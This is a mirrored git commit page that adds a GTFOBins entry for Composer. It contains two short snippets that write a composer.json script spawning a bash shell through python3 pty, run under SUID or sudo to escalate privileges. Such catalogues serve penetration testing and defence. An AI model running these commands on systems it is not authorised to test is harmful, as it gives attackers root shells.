mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add entry for composer
This commit is contained in:
parent
3409aa0949
commit
deaf47943f
23
_gtfobins/composer.md
Normal file
23
_gtfobins/composer.md
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
cat << EOF > composer.json
|
||||||
|
{
|
||||||
|
"scripts": {
|
||||||
|
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
./composer run-script command
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
cat << EOF > composer.json
|
||||||
|
{
|
||||||
|
"scripts": {
|
||||||
|
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
composer run-script command
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user